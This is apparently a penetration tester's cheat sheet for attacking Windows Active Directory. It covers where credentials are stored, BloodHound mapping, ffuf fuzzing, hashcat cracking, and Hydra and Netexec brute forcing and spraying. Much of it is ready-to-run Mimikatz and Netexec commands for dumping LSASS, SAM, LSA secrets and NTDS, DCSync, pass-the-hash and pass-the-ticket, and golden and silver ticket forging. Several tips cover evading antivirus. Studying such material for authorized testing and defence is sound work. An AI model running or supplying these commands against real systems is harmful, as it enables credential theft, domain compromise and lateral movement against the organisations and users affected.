These modules live inside LSASS to handle specific tasks.

DLL NameFunction / Description
Lsasrv.dllThe Manager. Enforces policy and chooses the protocol (Negotiate: Kerberos vs NTLM).
Msv1_0.dllLocal / NTLM. Handles non-domain logins and legacy NTLM authentication.
Kerberos.dllDomain. Handles Kerberos ticket requests and validation.
Samsrv.dllSAM Interface. Talks to the local SAM database.
Netlogon.dllNetwork. Handles the secure channel for network logons.
Ntdsa.dllAD Interface. Used to create/manage records in the Registry or AD.

3. Credential Storage Locations

Local Users (SAM)

  • File Path: %SystemRoot%\system32\config\SAM
  • Registry Mount: HKLM\SAM
  • Protection: Partially encrypted by SYSKEY (syskey.exe) to prevent offline extraction.
  • Content: Local user NTLM/LM hashes.
Registry HiveDescription
HKLM\SAMContains password hashes for local user accounts. These hashes can be extracted and cracked to reveal plaintext passwords.
HKLM\SYSTEMStores the system boot key, which is used to encrypt the SAM database. This key is required to decrypt the hashes.
HKLM\SECURITYContains sensitive information used by the Local Security Authority (LSA), including cached domain credentials (DCC2), cleartext passwords, DPAPI keys, and more.

Domain Users (NTDS)

  • File Path: %SystemRoot%\ntds.dit
  • Location: Found only on Domain Controllers.
  • Content: Active Directory database (Users, Groups, Computers, GPOs, Hashes).
  • Sync: Replicates to all DCs (except Read-Only DCs).

Credential Manager (The Vault)

  • Role: Stores saved passwords for RDP, Websites, and Network Shares.
  • Policy.vpol in File Path:
  • %UserProfile%\AppData\Local\Microsoft\Vault\
  • %UserProfile%\AppData\Local\Microsoft\Credentials\
  • %UserProfile%\AppData\Roaming\Microsoft\Vault\
  • %ProgramData%\Microsoft\Vault\
  • %SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
Windows Credential Manager

BloodHound

BloodHound

NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz

# Start and reset password for BloodHound via Docker
sudo systemctl enable --now docker
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd

Collecting Info

# Bloodhound/SharpHound - AD Mapping
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

  • Transfer Bloodhound data to attacker
  • Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
  • Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

Analysis and Queries

BEST QUERIESWhy
Find Shortest Paths to Domain AdminsPrimary attack path
Find Principals with DCSync RightsInstant game over if found
Find Kerberoastable UsersMost common foothold
Shortest Paths to DA from Kerberoastable UsersCombined path
Find AS-REP Roastable UsersNo creds needed
Find Computers where Domain Users are Local AdminEasy lateral movement
# Search Box >

domain:<DOMAIN>

### Pre-Built Queries
# Domain Info > Analysis >

# Out-of-date Computers (for Exploits)
Find Computers with Unsupported Operating Systems

# Find Logged-In/Cached Domain Admins
Find Computers where Domain Users are Local Admin

Domain Trusts

  • Pre-built Query
  • Analysis > Domain Information > Map Domain Trusts

Enumerating ACLs of User

  1. Select starting node user
  2. Select Node Info > Scroll to Outbound Control Rights
  3. First Degree Object Control
    1. Right-Click edge > Help for more info
  4. Transitive Object Control
  5. Analysis > Dangerous Rights

CanRDP

  • BloodHound CanRDP:
    • Search for User > Node Info > Execution Rights
    • Analysis
      • Find Workstations where Domain Users can RDP
      • Find Servers where Domain Users can RDP

CanPSRemote

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:CanPSRemote*1..]->(c:Computer) RETURN p2

SQLAdmin

MATCH p1=shortestPath((u1:User)-[r1:MemberOf*1..]->(g1:Group)) MATCH p2=(u1)-[:SQLAdmin*1..]->(c:Computer) RETURN p2

ffuf

Fast web fuzzer ffuf is best used for Virtual Host (VHOST) Discovery, Parameter Fuzzing, and API Testing. Use feroxbuster for web file and directory brute-forcing.

When fuzzing for file extensions, try to discern (or guess by searching for index.*) to ascertain the web technologies used (i.e. PHP for Apache or ASPX for IIS, etc.)

References:

Basic usage

HTTP OPTIONS:
  -H               Header "Name: Value", separated by colon. Multiple -H flags are accepted.
  -X               HTTP method to use (default: GET)
  -b               Cookie data "NAME1=VALUE1; NAME2=VALUE2" for copy as curl functionality.
  -d               POST data
  -recursion       Scan recursively. Only FUZZ keyword is supported, and URL (-u) has to end in it. (default: false)
  -recursion-depth Maximum recursion depth. (default: 0)
  -u               Target URL

MATCHER OPTIONS:
  -mc              Match HTTP status codes, or "all" for everything. (default: 200,204,301,302,307,401,403)
  -ms              Match HTTP response size

FILTER OPTIONS:
  -fc              Filter HTTP status codes from response. Comma separated list of codes and ranges
  -fs              Filter HTTP response size. Comma separated list of sizes and ranges

INPUT OPTIONS:
  -w               Wordlist file path and (optional) keyword separated by colon. eg. '/path/to/wordlist:KEYWORD'
  -ic              Ignore comments in wordlist

OUTPUT OPTIONS:
  -o               Write output to file

EXAMPLE USAGE:
  Fuzz file paths from wordlist.txt, match all responses but filter out those with content-size 42.
  Colored, verbose output.
    ffuf -w wordlist.txt -u https://example.org/FUZZ -mc all -fs 42 -c -v

Wordlists

  • Dir/File: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
  • Extensions: /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt
  • Subdomains: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
  • URL Parameters: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
  • Users:
    • Quick: /usr/share/seclists/Usernames/top-usernames-shortlist.txt
    • Comprehensive: /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Example Commands

Find file extension (and learn web technologies)

# NOTE: already includes '.' so do not add to -u
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://<TARGET>/indexFUZZ

Search for files

ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.php

Search recursively for specified file extensions

# NOTE: -v is needed to show full path
ffuf -ic -recursion -recursion-depth 1 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -e .php -u http://<TARGET>/FUZZ -v
# NOTE: remember this will not find internal, private subdomains
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.<DOMAIN>

vHost Brute-Force

Just changes HTTP header

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE>
# Add NEW vHosts to automatically resolve them later
echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hosts

Parameter fuzzing

GET

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE>?FUZZ=value -fs <SIZE>

POST

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

Value fuzzing

For HTTP GET requests, remove the -X and -d options and incorporate the PARAM=value into the -u URL.

Try other wordlists to make sure they make sense for the PARAM.

### IDs
# Might require custom wordlist like ids for instance
for i in $(seq 1 100000) ; do echo $i >> ids.txt ; done
# Fuzz
ffuf -w <CUSTOM_WORDLIST>:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE>

### USERNAMES
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=FUZZ' -fs <SIZE>
# Access via curl (POST)
curl http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d '<PARAM>=<VALUE>'

Hashcat

Hashcat is a fast password recovery tool that supports multiple attack modes and hash types. It’s the world’s fastest and most advanced password recovery utility.

References:

Important Notes

  • Hash Mode: Always specify the correct -m mode for your hash type. Use hashid or check the hash format to determine the mode.
  • Wordlists: Common wordlists include rockyou.txt, SecLists, and custom wordlists generated from OSINT.
  • Rules: Start with best64.rule for quick results, then move to more comprehensive rules if needed.
  • Performance: Use -w 3 or -w 4 for faster cracking (uses more resources). Use -O for optimized kernels (may limit password length).
  • GPU Acceleration: Hashcat automatically uses GPU if available. Ensure proper drivers are installed.
  • Resume Sessions: Hashcat saves progress automatically. Use --restore to resume interrupted sessions.
  • Output: Cracked passwords are saved to
    • ~/.hashcat/hashcat.potfile
    • ~/.local/share/hashcat/hashcat.potfile
  • Username: Sometimes it strips the name from hits… to show username and passwords run:
    • hashcat --username --show <CRACKME>

Basic Usage

# Basic syntax
hashcat -m <HASH_MODE> -a <ATTACK_MODE> <HASH_FILE> <WORDLIST>

# Common flags
-m <MODE>     : Hash type mode (see hash types below)
-a <MODE>    : Attack mode (0=straight, 1=combinator, 3=brute-force/mask, 6=hybrid wordlist+mask)
-r <RULE>    : Rule file for rule-based attack
--force      : Ignore warnings (use with caution)
--stdout     : Output to stdout instead of cracking
-w <LEVEL>   : Workload profile (1-4, higher = faster but more resource intensive)
-O            : Optimized kernels (limits password length)

Attack Modes

ModeDescriptionExample
0Straight (Dictionary)hashcat -a 0 -m 1000 hash.txt wordlist.txt
1CombinatorCombines words from two wordlists
3Brute-Force/Maskhashcat -a 3 -m 1000 hash.txt ?a?a?a?a?a?a
6Hybrid Wordlist + MaskWordlist + mask pattern

Common Hash Types & Modes

Windows Hashes

# NT hashes (NTLM)
hashcat -m 1000 <HASHES> <WORDLIST>

# PBKDF2 (DCC2 hashes for domain - cached domain credentials)
hashcat -m 2100 <HASHES> <WORDLIST>

Linux Hashes

# SHA-512crypt (most common legacy default)
hashcat -m 1800 hashes.txt <WORDLIST>

# MD5crypt (with salt)
hashcat -m 20 <HASH>:<SALT> <WORDLIST>

Kerberos (Active Directory)

# Kerberoasting - RC4 encrypted TGS (Type 23)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-256 encrypted TGS (Type 18)
hashcat -m 19600 spn_tickets.txt <WORDLIST>

# Kerberoasting - AES-128 encrypted TGS (Type 17)
hashcat -m 19700 spn_tickets.txt <WORDLIST>

Other Hash Types

# Bitlocker
hashcat -a 0 -m 22100 hash_crackme_vhd.txt <WORDLIST>

# IPMI (HP iLO)
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

Rule-Based Attacks

Rule-based attacks apply transformations to words in a wordlist, creating permutations and variations.

Rule Files Location

# Default rule files location
/usr/share/hashcat/rules

Rule Comparison Table

Rule FileRule CountUse Case
best64.rule64First Run. Instant results for easy passwords.
d3ad0ne.rule~34,000Deep Crack. Good for standard “complex” user passwords.
dive.rule~100,000+Paranoid. Extremely slow; last resort for dictionary attacks.

Using Rules

# Apply rule file to wordlist
hashcat -m 1800 -r /usr/share/hashcat/rules/best64.rule hashes.txt <WORDLIST>

Creating Custom Rules

Common rule transformations:

RuleDescriptionExample
cCapitalize first character, lowercase restpassword β†’ Password
CLowercase first character, uppercase restpassword β†’ pASSWORD
tToggle case of all characterspassword β†’ PASSWORD
$!Append ! to endpassword β†’ password!
$1$9$9$8Append 1998 to endpassword β†’ password1998
sa@Replace all a with @password β†’ p@ssword
so0Replace all o with 0password β†’ passw0rd
ss$Replace all s with $password β†’ pa$$word

Example Custom Rule File:

cat << EOF > custom.rule
c
C
t
\$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack hash with custom rule
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

Mask Attacks (-a 3)

Mask attacks use placeholders to define character sets and patterns for brute-force attacks.

Charset Symbols

SymbolDescriptionCharset / Definition
?lLowercaseabcdefghijklmnopqrstuvwxyz
?uUppercaseABCDEFGHIJKLMNOPQRSTUVWXYZ
?dDigits0123456789
?hHex (Lower)0123456789abcdef
?HHex (Upper)0123456789ABCDEF
?sSpecialΒ«spaceΒ»!"#$%&’()*+,-./:;<=>?@[]^_{`
?aAll?l?u?d?s
?bBinary0x00 - 0xff

Custom Charsets

# Define custom charset with -1, -2, -3, -4
# -1 ?d?u means charset 1 = digits + uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Mask Examples

# Pattern: 1 uppercase, 4 lowercase, 1 digit, 1 special
hashcat -a 3 -m <HASH_ID> <HASH> '?u?l?l?l?l?d?s'

# 8 characters: digits or uppercase
hashcat -a 3 -m 7300 hash.txt ?1?1?1?1?1?1?1?1 -1 ?d?u

Hash Identification

Before cracking, identify the hash type:

# Use hashid to identify hash and get hashcat mode
hashid -jm '<HASH>'

# Alternative: online tool
# https://hashes.com/en/tools/hash_identifier

Common Hash Values

Hash ValueTypeMeaning
d41d8cd98f00b204e9800998ecf8427eMD5Empty String (0 byte input)
da39a3ee5e6b4b0d3255bfef95601890afd80709SHA1Empty String (0 byte input)
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855SHA256Empty String (0 byte input)

Workflow Examples

Linux Password Cracking

# 1. Prepare unshadowed file
unshadow /etc/passwd /etc/shadow > unshadowed.hashes

# 2. Crack with hashcat (SHA-512, mode 1800)
hashcat -m 1800 -a 0 unshadowed.hashes rockyou.txt

Kerberoasting

# 1. Get TGS tickets
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USER> -request -outputfile spn_tickets.txt

# 2. Crack TGS (RC4, most common)
hashcat -m 13100 spn_tickets.txt <WORDLIST>

# 3. If AES-256, use mode 19600
hashcat -m 19600 spn_tickets.txt <WORDLIST>

Windows NT Hashes

# Extract hashes from SAM
impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL

# Crack NT hashes
hashcat -m 1000 <HASHES> <WORDLIST>

Hydra

Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.

NOTE: use netexec for Windows AD environments instead

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file
hydra -x -h

# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set
-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET>

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms

HTTP-POST

Syntax: "/PATH:BODY:CONDITION=STRING"

  • Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
  • Use ^USER^ and ^PASS^ as placeholders in BODY
  • Condition String: hydra -U http-post-form
    • Important: you can only define S= OR F= - not both
    • F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
      • too many false positives means bad failure string
    • `S=<SUCCESS_STRING>
      • S=302 means a successful login due to an HTTP 302 page forward redirect

Check with -dt1 for condition strings

# S=302 for login redirects (and no login error)
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an error
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V

HTTP Basic Auth

A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:

Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -V

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

  • Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
  • Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
  • Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
  • Output: Always use -o <OUTPUT_FILE> to save results for later analysis.

Mimikatz

Mimikatz is a post-exploitation tool that can extract plaintext passwords, hashes, PINs, and Kerberos tickets from memory. It can also perform pass-the-hash, pass-the-ticket, and build Golden Tickets.

TL;DR Credential Dumping Checklist

privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::ekeys
lsadump::sam
lsadump::secrets
lsadump::cache
lsadump::lsa /patch

Important Notes

  • Debug Privilege: Most Mimikatz operations require privilege::debug to access LSASS memory
  • Administrator Required: Mimikatz typically needs administrator privileges to function
  • LSASS Access: Many operations read from LSASS memory, which is protected by Windows
  • Detection: Mimikatz is heavily flagged by security products and EDR solutions
  • Pass the Hash: When using sekurlsa::pth, a new window will open - run commands in that new window
  • Golden Tickets: Golden Tickets are valid until the KRBTGT account password is changed (typically 180 days by default)
  • Ticket Files: Exported Kerberos tickets use .kirbi format
  • Domain Syntax: Use “.” for domain when targeting local machine accounts

Basic Usage & Privilege Escalation

# Launch Mimikatz (via SMB share)
\\tsclient\share\mimikatz.exe

# Enable debug privilege (required for most operations)
privilege::debug

# Elevate token to SYSTEM
token::elevate

# Write to console in bae64 (avoid AV flagging)
base64 /out:true

# Write output to a logfile (flagged by AV!)
log <LOGFILE>.txt 

Credential Dumping

LSASS Memory (sekurlsa)

Dump All Credentials:

# VERBOSE: Dumps credentials from all providers (Kerberos, WDigest, MSV, etc.)
sekurlsa::logonpasswords

Dump WDigest Plaintext Credentials:

# Plaintext creds if WDigest is enabled (older systems or manually enabled)
sekurlsa::wdigest

Dump Specific Hash Types:

# Dumps only LM/NTLM hashes
sekurlsa::msv

Export Kerberos Tickets:

# Avoid AV flagging
base64 /out:true

# Export Kerberos Tickets (TGT/TGS) to disk
sekurlsa::tickets /export
# $ : machine tickets (computers)
# @ : service tickets (users)

Extract AES Keys:

# Extract AES Keys for Pass the Key attacks
sekurlsa::ekeys

SAM Database

# Dumps local SAM database (local user hashes)
lsadump::sam

LSA Secrets

# Patches LSASS to dump LSA policy data/hashes
lsadump::lsa /patch
# Dumps LSA secrets from registry (autologon, service account passwords, etc.)
lsadump::secrets
# Dumps cached domain logon hashes (DCC2)
lsadump::cache

Dump Specific Account:

# Dump specific account (e.g., KRBTGT for Golden Ticket)
lsadump::lsa /inject /name:krbtgt

DCSync

Might require runas.

# Specific user
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\<USER>

# For KRBTGT
lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

# All users
# WARNING: takes a long time... write output to a file!
log dc_sync.txt
lsadump::dcsync /domain:<DOMAIN> /all

Pass the Hash (PtH)

Pass the Hash allows you to authenticate using an NTLM hash instead of a plaintext password.

# Use "." for domain if targeting local machine
# IMPORTANT: Run commands inside the NEW window that pops up
sekurlsa::pth /user:<USER> /ntlm:<PASS_HASH> /domain:<DOMAIN> /run:cmd.exe

Alternative Syntax:

sekurlsa::pth /domain:<DOMAIN> /user:<USER> /ntlm:<HASH> /run:cmd.exe

Pass the Key (PtK) / OverPass the Hash (OtH)

Concept: Request a Kerberos Ticket (TGT) using an NTLM hash or AES Key, rather than using the NTLM protocol directly.

Extract AES Keys First:

sekurlsa::ekeys

Pass the Key with AES:

# Spawns a process. Windows will implicitly request TGT using the injected key/hash when network resources are accessed.
# Can use /ntlm, /aes128, or /aes256
sekurlsa::pth /domain:<DOMAIN> /user:<USER> /aes256:<AES256_KEY> /run:cmd.exe

Pass the Ticket (PtT)

Pass the Ticket allows you to use stolen Kerberos tickets to authenticate as another user.

Export Tickets:

# Export tickets from memory to .kirbi files
sekurlsa::tickets /export

Inject Ticket:

# Inject ticket into current session
kerberos::ptt <TICKET_FILE.kirbi>
misc::cmd
exit

Golden & Silver Ticket Attack

A Golden Ticket is a forged Kerberos TGT that allows you to impersonate any user in the domain, including domain administrators.

A Silver Ticket is a forged Kerberos TGS that allows you to impersonate any user on a single machine.

Step 1: Get KRBTGT Hash & SID

Method A (On DC):

lsadump::lsa /inject /name:krbtgt

Method B (Remote DCSync):

lsadump::dcsync /domain:<DOMAIN> /user:krbtgt

Step 2: Create & Inject Ticket

  • /ptt - This flag tells Mimikatz to inject the ticket directly into the session, meaning it is ready to be used.
  • /endin - The ticket lifetime. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 10 hours (600 minutes)
  • /renewmax - The maximum ticket lifetime with renewal. By default, Mimikatz generates a ticket that is valid for 10 years. The default Kerberos policy of AD is 7 days (10080 minutes)
  • /user: can use any value including non-existent users
# GOLDEN TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /krbtgt:<NTLM>

# SILVER TICKET
kerberos::golden /ptt /id:500 /user:Administrator /domain:<DOMAIN> /sid:<SID> /service:cifs /target:<MACHINE_FQDN> /rc4:<MACHINE_HASH> 

Step 3: Launch Shell

# OPTIONAL: Launch shell or exit and use the current shell since /ptt was used
misc::cmd  # this only works via RDP
exit

# Verify ticket is working by reading DC share
dir \\<DC_FQDN>\c$\

Credential Manager

Dump credentials stored in Windows Credential Manager:

sekurlsa::credman

DPAPI (Data Protection API)

Decrypt data protected by Windows DPAPI, such as browser credentials:

dpapi::chrome /in:"C:\Users\<USER>\AppData\Local\Google\Chrome\User Data\Default\Login Data" /unprotect

Netexec

NOTES:

  • by default, netxec attempts to authenticate with passwords or hashes at the domain level… use --local-auth to force local authentication, since sometimes passwords and usually hashes are different at these levels
  • (Pwn3d!) for valid creds means an Administrator account

Netexec (formerly CrackMapExec) is a swiss army knife for pentesting networks that helps automate assessing the security of large networks in AD environments. Netexec uses secretsdump libraries under its hood, so it is the preferred tool for network enumeration (though secretsdump is still great for offline hash extraction or targeted actions)

Protocol Selection

Netexec supports multiple protocols. Check available services with:

nxc -h

Common protocols include:

  • mssql               own stuff using MSSQL
    
  • winrm               own stuff using WINRM
    
  • ldap                own stuff using LDAP
    
  • smb                 own stuff using SMB
    
  • ssh                 own stuff using SSH
    
  • vnc                 own stuff using VNC
    
  • wmi                 own stuff using WMI
    
  • ftp                 own stuff using FTP
    
  • rdp                 own stuff using RDP
    
  • And sometimes more…

Password Policy Enumeration

Enumerate password policy information via SMB:

# Anonymous password policy enumeration
nxc smb <TARGET> --pass-pol

# Authenticated password policy enumeration
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol

User Enumeration

Enumerate Users

# Enumerate users via SMB (anonymous or authenticated)
nxc smb <TARGET> --users

# Authenticated user enumeration
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users

Enumerate Groups

# Enumerate groups
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups

# Find high value users (e.g., Domain Admins)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

Share Enumeration

# List available shares
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares

# List all files
nxc smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" -M spider_plus --share "Departments Shares"
cat /tmp/nxc_spider_plus/*.json | python3 -m json.tool

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# Check nxc -h for services
# Password spraying (many users vs 1 password)
nxc smb <TARGET> -u <USERS> -p <PASSWORD> | grep '+'

# Local authentication (tries local authentication instead of domain authentication)
# Mitigated with: https://learn.microsoft.com/en-us/windows-server/identity/laps/laps-overview
nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

Pass the Hash (PtH)

Netexec supports pass-the-hash attacks for lateral movement:

# Target can also be a subnet (CIDR)
# -d . = Local Account | -d <DOMAIN> = Domain Account
# --local-auth forces local check if implied domain fails
# :<PASS_HASH> implies empty LM hash (LM:NT)
nxc smb <TARGET> -u <USER> -d . -H <PASS_HASH> --local-auth

# Domain account with hash
nxc smb <TARGET> -u <USER> -d <DOMAIN> -H <PASS_HASH>

Credential Dumping

LSA Secrets

Remotely dump LSA secrets from a target:

# Dump LSA secrets remotely
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa

SAM Database

Remotely dump SAM database secrets:

# Dump SAM secrets remotely
nxc smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

Active Directory Operations

NTDS Extraction

# Extract NTDS.dit using ntdsutil module (copies NTDS.dit then parses it)
nxc smb <TARGET> -u <ADMIN_USER> -p <PASSWORD> -M ntdsutil

To dump one account instead of the full database, add --ntds --user <USER>:

# Dump a specific user only (NTDS hash extraction scoped to one account)
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user Administrator
nxc smb <TARGET> -u <USER> -p <PASSWORD> --ntds --user krbtgt

LDAP Operations

Admin Count Enumeration

Find high-value users with adminCount=1 (includes Domain Admins, Enterprise Admins, Backup Operators, etc.):

# Enumerate users with adminCount=1 via LDAP
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

Command Execution

Sudo is REQUIRED because these operations act as a server/listener.

--exec-methodProtocolHowNoisePort
wmiexec (default)WMIWMI process createLower135
smbexecSMBCreates a Windows serviceMedium445
atexecSMBScheduled taskLower445
mmcexecDCOMMMC20 DCOM objectLowest135
# cmd.exe
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -x '<COMMAND>'

# PowerShell
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> -X '<COMMAND>'

Modules

# Show modules for protocol
nxc <PROTOCOL> -L

# Show more info for module
nxc <PROTOCOL> <MODULE> --options

# Set modules options
# NOTE: SPACE BETWEEN MODULES
nxc <PROTOCOL> <MODULE> -o <MOD_KEY>=<MOD_VALUE> <MOD_KEY>=<MOD_VALUE>,...
# spider_plus: Download all shares except the excluded defaults; max file size 10MB
nxc smb <TARGET> -u <USER> -p <PASS> -M spider_plus -o DOWNLOAD_FLAG=True OUTPUT_FOLDER=$HOME/nxc_spider MAX_FILE_SIZE=$((1024 * 1024 * 10)) EXCLUDE_FILTER='admin$,c$,ipc$,NETLOGON,SYSVOL'
ModuleCommandPurpose
spider_plusnxc smb <T> -M spider_plusCrawl shares, index all files
ntdsutilnxc smb <T> -M ntdsutilSafe NTDS dump from disk
lsassynxc smb <T> -M lsassyRemote LSASS dump + parse
lapsnxc ldap <T> -M lapsRead LAPS passwords
gpp_passwordnxc smb <T> -M gpp_passwordGPP cpassword decrypt
ntds-dump-rawnxc smb <T> -M ntds-dump-rawRaw disk NTDS extraction
nanodumpnxc smb <T> -M nanodumpStealthier LSASS dump
gpp_autologinnxc smb <T> -M gpp_autologinGPP autologon creds
webdavnxc smb <T> -M webdavCheck if WebDAV enabled
petitpotamnxc smb <T> -M petitpotamCoerce NTLM auth
nopacnxc smb <T> -M nopacCheck noPac/sAMAccountName vuln
zerologonnxc smb <T> -M zerologonCheck Zerologon vuln

Nmap

Scanning

  • Open - received TCP SYN-ACK
  • Closed - received TCP RST
  • Filtered - no response
